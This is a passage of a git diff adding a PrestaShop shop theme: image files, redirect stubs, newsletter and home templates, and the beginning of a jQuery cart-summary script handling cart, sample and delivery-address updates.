a/themes/default/img/icon/up.gif b/themes/default/img/icon/up.gif new file mode 100755 index 0000000..6734510 Binary files /dev/null and b/themes/default/img/icon/up.gif differ diff --git a/themes/default/img/icon/update.gif b/themes/default/img/icon/update.gif new file mode 100755 index 0000000..a2c05ee Binary files /dev/null and b/themes/default/img/icon/update.gif differ diff --git a/themes/default/img/icon/userinfo.gif b/themes/default/img/icon/userinfo.gif new file mode 100755 index 0000000..646ba27 Binary files /dev/null and b/themes/default/img/icon/userinfo.gif differ diff --git a/themes/default/img/icon/voucher.gif b/themes/default/img/icon/voucher.gif new file mode 100755 index 0000000..e8ce3b5 Binary files /dev/null and b/themes/default/img/icon/voucher.gif differ diff --git a/themes/default/img/icon/yes.gif b/themes/default/img/icon/yes.gif new file mode 100755 index 0000000..7902938 Binary files /dev/null and b/themes/default/img/icon/yes.gif differ diff --git a/themes/default/img/icon/zoom.png b/themes/default/img/icon/zoom.png new file mode 100755 index 0000000..ca16319 Binary files /dev/null and b/themes/default/img/icon/zoom.png differ diff --git a/themes/default/img/imprimerDiag.png b/themes/default/img/imprimerDiag.png new file mode 100755 index 0000000..6711930 Binary files /dev/null and b/themes/default/img/imprimerDiag.png differ diff --git a/themes/default/img/index.php b/themes/default/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/img/inputMagasin.png b/themes/default/img/inputMagasin.png new file mode 100755 index 0000000..973a4df Binary files /dev/null and b/themes/default/img/inputMagasin.png differ diff --git a/themes/default/img/inputMagasinMobile.png b/themes/default/img/inputMagasinMobile.png new file mode 100755 index 0000000..f686490 Binary files /dev/null and b/themes/default/img/inputMagasinMobile.png differ diff --git a/themes/default/img/inputNew.png b/themes/default/img/inputNew.png new file mode 100755 index 0000000..01757f6 Binary files /dev/null and b/themes/default/img/inputNew.png differ diff --git a/themes/default/img/inputSelect.jpg b/themes/default/img/inputSelect.jpg new file mode 100755 index 0000000..ae6774f Binary files /dev/null and b/themes/default/img/inputSelect.jpg differ diff --git a/themes/default/img/inputSelect219.jpg b/themes/default/img/inputSelect219.jpg new file mode 100755 index 0000000..72d7571 Binary files /dev/null and b/themes/default/img/inputSelect219.jpg differ diff --git a/themes/default/img/inputSelect308-old.jpg b/themes/default/img/inputSelect308-old.jpg new file mode 100755 index 0000000..eb6644b Binary files /dev/null and b/themes/default/img/inputSelect308-old.jpg differ diff --git a/themes/default/img/inputSelect308.jpg b/themes/default/img/inputSelect308.jpg new file mode 100755 index 0000000..565889f Binary files /dev/null and b/themes/default/img/inputSelect308.jpg differ diff --git a/themes/default/img/inputSelect68.jpg b/themes/default/img/inputSelect68.jpg new file mode 100755 index 0000000..9cd910a Binary files /dev/null and b/themes/default/img/inputSelect68.jpg differ diff --git a/themes/default/img/inputText.jpg b/themes/default/img/inputText.jpg new file mode 100755 index 0000000..40978fc Binary files /dev/null and b/themes/default/img/inputText.jpg differ diff --git a/themes/default/img/inputText116.png b/themes/default/img/inputText116.png new file mode 100755 index 0000000..ad69e74 Binary files /dev/null and b/themes/default/img/inputText116.png differ diff --git a/themes/default/img/inputText132.png b/themes/default/img/inputText132.png new file mode 100755 index 0000000..dcdf4e1 Binary files /dev/null and b/themes/default/img/inputText132.png differ diff --git a/themes/default/img/inputText146.png b/themes/default/img/inputText146.png new file mode 100755 index 0000000..91ad9c9 Binary files /dev/null and b/themes/default/img/inputText146.png differ diff --git a/themes/default/img/inputText209.png b/themes/default/img/inputText209.png new file mode 100755 index 0000000..a131684 Binary files /dev/null and b/themes/default/img/inputText209.png differ diff --git a/themes/default/img/inputText216.png b/themes/default/img/inputText216.png new file mode 100755 index 0000000..24e3196 Binary files /dev/null and b/themes/default/img/inputText216.png differ diff --git a/themes/default/img/inputText266.png b/themes/default/img/inputText266.png new file mode 100755 index 0000000..305ed62 Binary files /dev/null and b/themes/default/img/inputText266.png differ diff --git a/themes/default/img/inputText276.png b/themes/default/img/inputText276.png new file mode 100755 index 0000000..c3fa437 Binary files /dev/null and b/themes/default/img/inputText276.png differ diff --git a/themes/default/img/inputText287.png b/themes/default/img/inputText287.png new file mode 100755 index 0000000..a9d5d34 Binary files /dev/null and b/themes/default/img/inputText287.png differ diff --git a/themes/default/img/inputText307.png b/themes/default/img/inputText307.png new file mode 100755 index 0000000..4b62394 Binary files /dev/null and b/themes/default/img/inputText307.png differ diff --git a/themes/default/img/inputText420.jpg b/themes/default/img/inputText420.jpg new file mode 100755 index 0000000..3e6b2e3 Binary files /dev/null and b/themes/default/img/inputText420.jpg differ diff --git a/themes/default/img/inputText612.png b/themes/default/img/inputText612.png new file mode 100755 index 0000000..8f80b80 Binary files /dev/null and b/themes/default/img/inputText612.png differ diff --git a/themes/default/img/inputTextMini161.png b/themes/default/img/inputTextMini161.png new file mode 100755 index 0000000..7d9ec75 Binary files /dev/null and b/themes/default/img/inputTextMini161.png differ diff --git a/themes/default/img/inputTextMini291.png b/themes/default/img/inputTextMini291.png new file mode 100755 index 0000000..cef4e4b Binary files /dev/null and b/themes/default/img/inputTextMini291.png differ diff --git a/themes/default/img/inputTextarea.jpg b/themes/default/img/inputTextarea.jpg new file mode 100755 index 0000000..2a6cce8 Binary files /dev/null and b/themes/default/img/inputTextarea.jpg differ diff --git a/themes/default/img/jquery/index.php b/themes/default/img/jquery/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/img/jquery/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/img/jquery/macFFBgHack.png b/themes/default/img/jquery/macFFBgHack.png new file mode 100755 index 0000000..c6473b3 Binary files /dev/null and b/themes/default/img/jquery/macFFBgHack.png differ diff --git a/themes/default/img/listingFleche.jpg b/themes/default/img/listingFleche.jpg new file mode 100755 index 0000000..8d7fdbb Binary files /dev/null and b/themes/default/img/listingFleche.jpg differ diff --git a/themes/default/img/listingFleche.png b/themes/default/img/listingFleche.png new file mode 100755 index 0000000..cf70e6f Binary files /dev/null and b/themes/default/img/listingFleche.png differ diff --git a/themes/default/img/listingFlecheVerte.png b/themes/default/img/listingFlecheVerte.png new file mode 100755 index 0000000..d1b1bb5 Binary files /dev/null and b/themes/default/img/listingFlecheVerte.png differ diff --git a/themes/default/img/livredorEtoile.jpg b/themes/default/img/livredorEtoile.jpg new file mode 100755 index 0000000..93bf2b0 Binary files /dev/null and b/themes/default/img/livredorEtoile.jpg differ diff --git a/themes/default/img/logo-blanc-en.jpg b/themes/default/img/logo-blanc-en.jpg new file mode 100755 index 0000000..0552fe2 Binary files /dev/null and b/themes/default/img/logo-blanc-en.jpg differ diff --git a/themes/default/img/logo-en.jpg b/themes/default/img/logo-en.jpg new file mode 100755 index 0000000..65ed7eb Binary files /dev/null and b/themes/default/img/logo-en.jpg differ diff --git a/themes/default/img/logoMagasinsSmall.png b/themes/default/img/logoMagasinsSmall.png new file mode 100755 index 0000000..0b51b31 Binary files /dev/null and b/themes/default/img/logoMagasinsSmall.png differ diff --git a/themes/default/img/logo_paiement_mastercard.jpg b/themes/default/img/logo_paiement_mastercard.jpg new file mode 100755 index 0000000..6022d87 Binary files /dev/null and b/themes/default/img/logo_paiement_mastercard.jpg differ diff --git a/themes/default/img/logo_paiement_paypal.jpg b/themes/default/img/logo_paiement_paypal.jpg new file mode 100755 index 0000000..c94c46c Binary files /dev/null and b/themes/default/img/logo_paiement_paypal.jpg differ diff --git a/themes/default/img/logo_paiement_visa.jpg b/themes/default/img/logo_paiement_visa.jpg new file mode 100755 index 0000000..be8cc9e Binary files /dev/null and b/themes/default/img/logo_paiement_visa.jpg differ diff --git a/themes/default/img/mailDiag.png b/themes/default/img/mailDiag.png new file mode 100755 index 0000000..21d031f Binary files /dev/null and b/themes/default/img/mailDiag.png differ diff --git a/themes/default/img/messagePersonnel.jpg b/themes/default/img/messagePersonnel.jpg new file mode 100755 index 0000000..6c85331 Binary files /dev/null and b/themes/default/img/messagePersonnel.jpg differ diff --git a/themes/default/img/moreless.png b/themes/default/img/moreless.png new file mode 100755 index 0000000..b9b36f7 Binary files /dev/null and b/themes/default/img/moreless.png differ diff --git a/themes/default/img/mrSubmit.png b/themes/default/img/mrSubmit.png new file mode 100755 index 0000000..01e6e5b Binary files /dev/null and b/themes/default/img/mrSubmit.png differ diff --git a/themes/default/img/mrSubmitMobile.png b/themes/default/img/mrSubmitMobile.png new file mode 100755 index 0000000..76dbc54 Binary files /dev/null and b/themes/default/img/mrSubmitMobile.png differ diff --git a/themes/default/img/nav-logout.gif b/themes/default/img/nav-logout.gif new file mode 100755 index 0000000..1d7775d Binary files /dev/null and b/themes/default/img/nav-logout.gif differ diff --git a/themes/default/img/onsale_en.gif b/themes/default/img/onsale_en.gif new file mode 100755 index 0000000..48bfa34 Binary files /dev/null and b/themes/default/img/onsale_en.gif differ diff --git a/themes/default/img/onsale_es.gif b/themes/default/img/onsale_es.gif new file mode 100755 index 0000000..787f007 Binary files /dev/null and b/themes/default/img/onsale_es.gif differ diff --git a/themes/default/img/onsale_fr.gif b/themes/default/img/onsale_fr.gif new file mode 100755 index 0000000..38cd742 Binary files /dev/null and b/themes/default/img/onsale_fr.gif differ diff --git a/themes/default/img/opcSteps.png b/themes/default/img/opcSteps.png new file mode 100755 index 0000000..b9f30b5 Binary files /dev/null and b/themes/default/img/opcSteps.png differ diff --git a/themes/default/img/pagination-bg-current.gif b/themes/default/img/pagination-bg-current.gif new file mode 100755 index 0000000..210590a Binary files /dev/null and b/themes/default/img/pagination-bg-current.gif differ diff --git a/themes/default/img/pagination-next-border.gif b/themes/default/img/pagination-next-border.gif new file mode 100755 index 0000000..275f9ad Binary files /dev/null and b/themes/default/img/pagination-next-border.gif differ diff --git a/themes/default/img/pagination-prev-border.gif b/themes/default/img/pagination-prev-border.gif new file mode 100755 index 0000000..903d7af Binary files /dev/null and b/themes/default/img/pagination-prev-border.gif differ diff --git a/themes/default/img/pagination-prevnext-bg.gif b/themes/default/img/pagination-prevnext-bg.gif new file mode 100755 index 0000000..d144484 Binary files /dev/null and b/themes/default/img/pagination-prevnext-bg.gif differ diff --git a/themes/default/img/pagination_bg.gif b/themes/default/img/pagination_bg.gif new file mode 100755 index 0000000..824748e Binary files /dev/null and b/themes/default/img/pagination_bg.gif differ diff --git a/themes/default/img/paiement_blockBot.png b/themes/default/img/paiement_blockBot.png new file mode 100755 index 0000000..dc310ce Binary files /dev/null and b/themes/default/img/paiement_blockBot.png differ diff --git a/themes/default/img/paiement_blockRepeat.png b/themes/default/img/paiement_blockRepeat.png new file mode 100755 index 0000000..c567ed0 Binary files /dev/null and b/themes/default/img/paiement_blockRepeat.png differ diff --git a/themes/default/img/paiement_blockTop.png b/themes/default/img/paiement_blockTop.png new file mode 100755 index 0000000..e01e9c7 Binary files /dev/null and b/themes/default/img/paiement_blockTop.png differ diff --git a/themes/default/img/paiements_securises.png b/themes/default/img/paiements_securises.png new file mode 100755 index 0000000..22cf020 Binary files /dev/null and b/themes/default/img/paiements_securises.png differ diff --git a/themes/default/img/paiements_securises_mobile.png b/themes/default/img/paiements_securises_mobile.png new file mode 100755 index 0000000..efb846b Binary files /dev/null and b/themes/default/img/paiements_securises_mobile.png differ diff --git a/themes/default/img/panierQty.png b/themes/default/img/panierQty.png new file mode 100755 index 0000000..3629582 Binary files /dev/null and b/themes/default/img/panierQty.png differ diff --git a/themes/default/img/pict_cart_block_h4.png b/themes/default/img/pict_cart_block_h4.png new file mode 100755 index 0000000..333b9e8 Binary files /dev/null and b/themes/default/img/pict_cart_block_h4.png differ diff --git a/themes/default/img/product-buy-bg.gif b/themes/default/img/product-buy-bg.gif new file mode 100755 index 0000000..626fb3f Binary files /dev/null and b/themes/default/img/product-buy-bg.gif differ diff --git a/themes/default/img/product-short-desc-bg.gif b/themes/default/img/product-short-desc-bg.gif new file mode 100755 index 0000000..dda67ed Binary files /dev/null and b/themes/default/img/product-short-desc-bg.gif differ diff --git a/themes/default/img/productCommentInputCourt.png b/themes/default/img/productCommentInputCourt.png new file mode 100755 index 0000000..9555211 Binary files /dev/null and b/themes/default/img/productCommentInputCourt.png differ diff --git a/themes/default/img/productCommentInputLong.png b/themes/default/img/productCommentInputLong.png new file mode 100755 index 0000000..5cc744f Binary files /dev/null and b/themes/default/img/productCommentInputLong.png differ diff --git a/themes/default/img/productCommentTextarea.png b/themes/default/img/productCommentTextarea.png new file mode 100755 index 0000000..ab7c46c Binary files /dev/null and b/themes/default/img/productCommentTextarea.png differ diff --git a/themes/default/img/productFlecheVerte.png b/themes/default/img/productFlecheVerte.png new file mode 100755 index 0000000..438be3a Binary files /dev/null and b/themes/default/img/productFlecheVerte.png differ diff --git a/themes/default/img/productLoupe.png b/themes/default/img/productLoupe.png new file mode 100755 index 0000000..9e5b50c Binary files /dev/null and b/themes/default/img/productLoupe.png differ diff --git a/themes/default/img/productLoupeMobile.png b/themes/default/img/productLoupeMobile.png new file mode 100755 index 0000000..50f68b8 Binary files /dev/null and b/themes/default/img/productLoupeMobile.png differ diff --git a/themes/default/img/productMoreLess.jpg b/themes/default/img/productMoreLess.jpg new file mode 100755 index 0000000..aa17ba2 Binary files /dev/null and b/themes/default/img/productMoreLess.jpg differ diff --git a/themes/default/img/quantity_wanted.jpg b/themes/default/img/quantity_wanted.jpg new file mode 100755 index 0000000..3f764c3 Binary files /dev/null and b/themes/default/img/quantity_wanted.jpg differ diff --git a/themes/default/img/rss.gif b/themes/default/img/rss.gif new file mode 100755 index 0000000..12c1d33 Binary files /dev/null and b/themes/default/img/rss.gif differ diff --git a/themes/default/img/scroll_left.png b/themes/default/img/scroll_left.png new file mode 100755 index 0000000..0b45f2d Binary files /dev/null and b/themes/default/img/scroll_left.png differ diff --git a/themes/default/img/scroll_right.png b/themes/default/img/scroll_right.png new file mode 100755 index 0000000..e15068c Binary files /dev/null and b/themes/default/img/scroll_right.png differ diff --git a/themes/default/img/search.png b/themes/default/img/search.png new file mode 100755 index 0000000..1166174 Binary files /dev/null and b/themes/default/img/search.png differ diff --git a/themes/default/img/selectBox137.png b/themes/default/img/selectBox137.png new file mode 100755 index 0000000..eedc052 Binary files /dev/null and b/themes/default/img/selectBox137.png differ diff --git a/themes/default/img/selectBox168.png b/themes/default/img/selectBox168.png new file mode 100755 index 0000000..e6af368 Binary files /dev/null and b/themes/default/img/selectBox168.png differ diff --git a/themes/default/img/selectBox210.png b/themes/default/img/selectBox210.png new file mode 100755 index 0000000..ef6b978 Binary files /dev/null and b/themes/default/img/selectBox210.png differ diff --git a/themes/default/img/selectBox287.png b/themes/default/img/selectBox287.png new file mode 100755 index 0000000..16ff52b Binary files /dev/null and b/themes/default/img/selectBox287.png differ diff --git a/themes/default/img/selectBox380.png b/themes/default/img/selectBox380.png new file mode 100755 index 0000000..7a08598 Binary files /dev/null and b/themes/default/img/selectBox380.png differ diff --git a/themes/default/img/selectBox81.png b/themes/default/img/selectBox81.png new file mode 100755 index 0000000..e2d18ef Binary files /dev/null and b/themes/default/img/selectBox81.png differ diff --git a/themes/default/img/selectBox92.png b/themes/default/img/selectBox92.png new file mode 100755 index 0000000..3300993 Binary files /dev/null and b/themes/default/img/selectBox92.png differ diff --git a/themes/default/img/sitemap-horizontal.gif b/themes/default/img/sitemap-horizontal.gif new file mode 100755 index 0000000..2cea2f7 Binary files /dev/null and b/themes/default/img/sitemap-horizontal.gif differ diff --git a/themes/default/img/sitemap-horizontal.png b/themes/default/img/sitemap-horizontal.png new file mode 100755 index 0000000..8810d54 Binary files /dev/null and b/themes/default/img/sitemap-horizontal.png differ diff --git a/themes/default/img/sitemap-last.gif b/themes/default/img/sitemap-last.gif new file mode 100755 index 0000000..ee3a5ef Binary files /dev/null and b/themes/default/img/sitemap-last.gif differ diff --git a/themes/default/img/sitemap-top.gif b/themes/default/img/sitemap-top.gif new file mode 100755 index 0000000..98a27e4 Binary files /dev/null and b/themes/default/img/sitemap-top.gif differ diff --git a/themes/default/img/sitemap_long.gif b/themes/default/img/sitemap_long.gif new file mode 100755 index 0000000..61e090b Binary files /dev/null and b/themes/default/img/sitemap_long.gif differ diff --git a/themes/default/img/sprite_social.png b/themes/default/img/sprite_social.png new file mode 100755 index 0000000..6c6a3e9 Binary files /dev/null and b/themes/default/img/sprite_social.png differ diff --git a/themes/default/img/star.png b/themes/default/img/star.png new file mode 100755 index 0000000..496a5d7 Binary files /dev/null and b/themes/default/img/star.png differ diff --git a/themes/default/img/step_current.gif b/themes/default/img/step_current.gif new file mode 100755 index 0000000..e3e38c4 Binary files /dev/null and b/themes/default/img/step_current.gif differ diff --git a/themes/default/img/step_current_span.gif b/themes/default/img/step_current_span.gif new file mode 100755 index 0000000..f689986 Binary files /dev/null and b/themes/default/img/step_current_span.gif differ diff --git a/themes/default/img/step_done.gif b/themes/default/img/step_done.gif new file mode 100755 index 0000000..37d759d Binary files /dev/null and b/themes/default/img/step_done.gif differ diff --git a/themes/default/img/step_end.gif b/themes/default/img/step_end.gif new file mode 100755 index 0000000..25aa330 Binary files /dev/null and b/themes/default/img/step_end.gif differ diff --git a/themes/default/img/step_end_current.gif b/themes/default/img/step_end_current.gif new file mode 100755 index 0000000..37d759d Binary files /dev/null and b/themes/default/img/step_end_current.gif differ diff --git a/themes/default/img/step_standard.gif b/themes/default/img/step_standard.gif new file mode 100755 index 0000000..25aa330 Binary files /dev/null and b/themes/default/img/step_standard.gif differ diff --git a/themes/default/img/step_start.gif b/themes/default/img/step_start.gif new file mode 100755 index 0000000..e595e19 Binary files /dev/null and b/themes/default/img/step_start.gif differ diff --git a/themes/default/img/submitNewsletter.png b/themes/default/img/submitNewsletter.png new file mode 100755 index 0000000..3558c4b Binary files /dev/null and b/themes/default/img/submitNewsletter.png differ diff --git a/themes/default/img/systempay.png b/themes/default/img/systempay.png new file mode 100755 index 0000000..d556e84 Binary files /dev/null and b/themes/default/img/systempay.png differ diff --git a/themes/default/img/systempayMobile.png b/themes/default/img/systempayMobile.png new file mode 100755 index 0000000..e468674 Binary files /dev/null and b/themes/default/img/systempayMobile.png differ diff --git a/themes/default/img/tab_bg.jpg b/themes/default/img/tab_bg.jpg new file mode 100755 index 0000000..79f1e23 Binary files /dev/null and b/themes/default/img/tab_bg.jpg differ diff --git a/themes/default/img/tab_bg_selected.jpg b/themes/default/img/tab_bg_selected.jpg new file mode 100755 index 0000000..18610f2 Binary files /dev/null and b/themes/default/img/tab_bg_selected.jpg differ diff --git a/themes/default/img/tab_bg_selected_short.jpg b/themes/default/img/tab_bg_selected_short.jpg new file mode 100755 index 0000000..914fe29 Binary files /dev/null and b/themes/default/img/tab_bg_selected_short.jpg differ diff --git a/themes/default/img/tab_bg_short.jpg b/themes/default/img/tab_bg_short.jpg new file mode 100755 index 0000000..b15dcdd Binary files /dev/null and b/themes/default/img/tab_bg_short.jpg differ diff --git a/themes/default/img/table_footer.gif b/themes/default/img/table_footer.gif new file mode 100755 index 0000000..01f1e34 Binary files /dev/null and b/themes/default/img/table_footer.gif differ diff --git a/themes/default/img/table_header.gif b/themes/default/img/table_header.gif new file mode 100755 index 0000000..0c25ee4 Binary files /dev/null and b/themes/default/img/table_header.gif differ diff --git a/themes/default/img/textarea612.png b/themes/default/img/textarea612.png new file mode 100755 index 0000000..af80e50 Binary files /dev/null and b/themes/default/img/textarea612.png differ diff --git a/themes/default/img/thumbs_left.gif b/themes/default/img/thumbs_left.gif new file mode 100755 index 0000000..ceb512b Binary files /dev/null and b/themes/default/img/thumbs_left.gif differ diff --git a/themes/default/img/thumbs_right.gif b/themes/default/img/thumbs_right.gif new file mode 100755 index 0000000..2e2c482 Binary files /dev/null and b/themes/default/img/thumbs_right.gif differ diff --git a/themes/default/img/title_bg.gif b/themes/default/img/title_bg.gif new file mode 100755 index 0000000..44fd38e Binary files /dev/null and b/themes/default/img/title_bg.gif differ diff --git a/themes/default/img/title_bg.png b/themes/default/img/title_bg.png new file mode 100755 index 0000000..6285884 Binary files /dev/null and b/themes/default/img/title_bg.png differ diff --git a/themes/default/img/title_bg_large.gif b/themes/default/img/title_bg_large.gif new file mode 100755 index 0000000..d06f6e6 Binary files /dev/null and b/themes/default/img/title_bg_large.gif differ diff --git a/themes/default/img/triple_star.png b/themes/default/img/triple_star.png new file mode 100755 index 0000000..69693c6 Binary files /dev/null and b/themes/default/img/triple_star.png differ diff --git a/themes/default/img/twitter.png b/themes/default/img/twitter.png new file mode 100755 index 0000000..81d9fe7 Binary files /dev/null and b/themes/default/img/twitter.png differ diff --git a/themes/default/index.php b/themes/default/index.php new file mode 100755 index 0000000..b434806 --- /dev/null +++ b/themes/default/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> \ No newline at end of file diff --git a/themes/default/index.tpl b/themes/default/index.tpl new file mode 100755 index 0000000..a1a421e --- /dev/null +++ b/themes/default/index.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{$HOOK_HOME} +{if $click_newsletter} + +{/if} \ No newline at end of file diff --git a/themes/default/inputSelect308.jpg b/themes/default/inputSelect308.jpg new file mode 100755 index 0000000..fa2dbac Binary files /dev/null and b/themes/default/inputSelect308.jpg differ diff --git a/themes/default/inscription.tpl b/themes/default/inscription.tpl new file mode 100755 index 0000000..eaf968e --- /dev/null +++ b/themes/default/inscription.tpl @@ -0,0 +1,24 @@ +

        [{l s='Inscription à la newsletter Garancia'}]

        +
        + +

        {l s='Pour recevoir les informations du Laboratoire Garancia'}
        {l s='inscrivez-vous à notre newsletter.'}

        + +
        + +

        + + + +

        +

        + +

        +
        +
        \ No newline at end of file diff --git a/themes/default/js/cart-summary.js b/themes/default/js/cart-summary.js new file mode 100755 index 0000000..519fa01 --- /dev/null +++ b/themes/default/js/cart-summary.js @@ -0,0 +1,1040 @@ +if(!maxE) + var maxE=3; +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +function updateSummary2(valeur){ + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart&ajax=true&summary=1&token='+static_token + +'&allow_refresh=1', + success: function(jsonData) + { + if (typeof(jsonData.hasErrors) != 'undefined' && jsonData.hasErrors) + { + alert(jsonData.error); + // Reset the old address + // $('#select_address_delivery_'+id_product+'_'+id_product_attribute+'_'+old_id_address_delivery).val(old_id_address_delivery); + } + else + { + // The product exist + // if ($('#product_'+id_product+'_'+id_product_attribute+'_0_'+new_id_address_delivery).length) + // { + if(valeur==1) + updateSummary2(2); + else{ + updateCartSummary(jsonData.summary); + updateCustomizedDatas(jsonData.customizedDatas); + updateHookShoppingCart(jsonData.HOOK_SHOPPING_CART); + updateHookShoppingCartExtra(jsonData.HOOK_SHOPPING_CART_EXTRA); + } + // } + } + } + }); +} +function desactiverEch(){ + $('#echantillons input').each(function(){ + if($(this).attr('checked')!='checked'){ + $(this).hide(); + $(this).parent().find('.ui-icon').hide(); + } + }); +} +function activerEch(){ + $('#echantillons input').show(); + $('#echantillons .ui-icon').show(); +} +function decocherEchantillons(nb){ +// alert($('#echantillons input:checked').length); + if($('#echantillons input:checked').length>nb) + $('#echantillons input').each(function(i){ + // alert($(this).attr('checked')); + if(i>=nb && $(this).attr('checked')=="checked"){ + $(this).click(); + $(this).removeAttr('checked'); + } + }); +} + +$(document).ready(function() +{ + fbq('track', 'InitiateCheckout'); + $('.cart_quantity_up').unbind('click').live('click', function(){upQuantity($(this).attr('id').replace('cart_quantity_up_', '')); return false;}); + $('.cart_quantity_down').unbind('click').live('click', function(){downQuantity($(this).attr('id').replace('cart_quantity_down_', '')); return false;}); + $('.cart_quantity_delete' ).unbind('click').live('click', function(){deleteProductFromSummary($(this).attr('id')); return false;}); + $('.cart_quantity_input').typeWatch({highlight: true, wait: 600, captureLength: 0, callback: function(val) { updateQty(val, true, this.el);}}); + $('.cart_address_delivery').live('change', function(){changeAddressDelivery($(this));}); + $('.maxE').html(maxE); + cleanSelectAddressDelivery(); +// alert(maxE); + $('.delivery_option_radio').click(function(){ + $('.delivery_option').removeClass('selected'); + $(this).parent().addClass('selected'); + updateExtraCarrier($(this).val(),$(this).attr('rel')); + // if($('#modeDeLivraison').lenght==1){ + // updateSummary2(1); + // } + }); + + + $('.echantillon_img_link').click(function(){ + if( $(this).parent().children('input').is(':checked') ){ + $(this).parent().children('input').prop('checked', false); + }else{ + $(this).parent().children('input').prop('checked', true); + } + updateEchantillons($(this).parent().children('input').attr('id')); + }); + $('#echantillons input').on('click',function(){ + updateEchantillons($(this).attr('id')); + }); +}); + +function updateEchantillons(id){ + var lesEchantillons = ""; + var compteurInput = $('#echantillons input:checked').length; + + if(compteurInput == maxE){ + desactiverEch(); + }else if( compteurInput > maxE ){ + $("#"+id).prop('checked', false); + return false; + }else{ + activerEch(); + } + + $('#echantillons input:checked').each(function(){ + if( lesEchantillons != "" ) + lesEchantillons += "-"; + lesEchantillons += $(this).val(); + }); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateEchantillons&lesEchantillons=' + lesEchantillons, + success: function(json){} + }); +} + +function cleanSelectAddressDelivery() +{ + if (window.ajaxCart !== undefined) + { + //Removing "Ship to an other address" from the address delivery select option if there is not enought address + $.each($('.cart_address_delivery'), function(it, item) + { + var options = $(item).find('option'); + var address_count = 0; + + var ids = $(item).attr('id').split('_'); + var id_product = ids[3]; + var id_product_attribute = ids[4]; + var id_address_delivery = ids[5]; + + $.each(options, function(i) { + if ($(options[i]).val() > 0 + && ($('#product_' + id_product + '_' + id_product_attribute + '_0_' + $(options[i]).val()).length == 0 // Check the address is not already used for a similare products + || id_address_delivery == $(options[i]).val() + ) + ) + address_count++; + }); + + // Need at least two address to allow skipping products to multiple address + if (address_count < 2) + $($(item).find('option[value=-2]')).remove(); + else if($($(item).find('option[value=-2]')).length == 0) + $(item).append($('')); + }); + } +} + +function changeAddressDelivery(obj) +{ + var ids = obj.attr('id').split('_'); + var id_product = ids[3]; + var id_product_attribute = ids[4]; + var old_id_address_delivery = ids[5]; + var new_id_address_delivery = obj.val(); + + if (new_id_address_delivery == old_id_address_delivery) + return; + + if (new_id_address_delivery > 0) // Change the delivery address + { + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart&ajax=true&changeAddressDelivery=1&summary=1&id_product='+id_product + +'&id_product_attribute='+id_product_attribute + +'&old_id_address_delivery='+old_id_address_delivery + +'&new_id_address_delivery='+new_id_address_delivery + +'&token='+static_token + +'&allow_refresh=1', + success: function(jsonData) + { + if (typeof(jsonData.hasErrors) != 'undefined' && jsonData.hasErrors) + { + alert(jsonData.error); + // Reset the old address + $('#select_address_delivery_'+id_product+'_'+id_product_attribute+'_'+old_id_address_delivery).val(old_id_address_delivery); + } + else 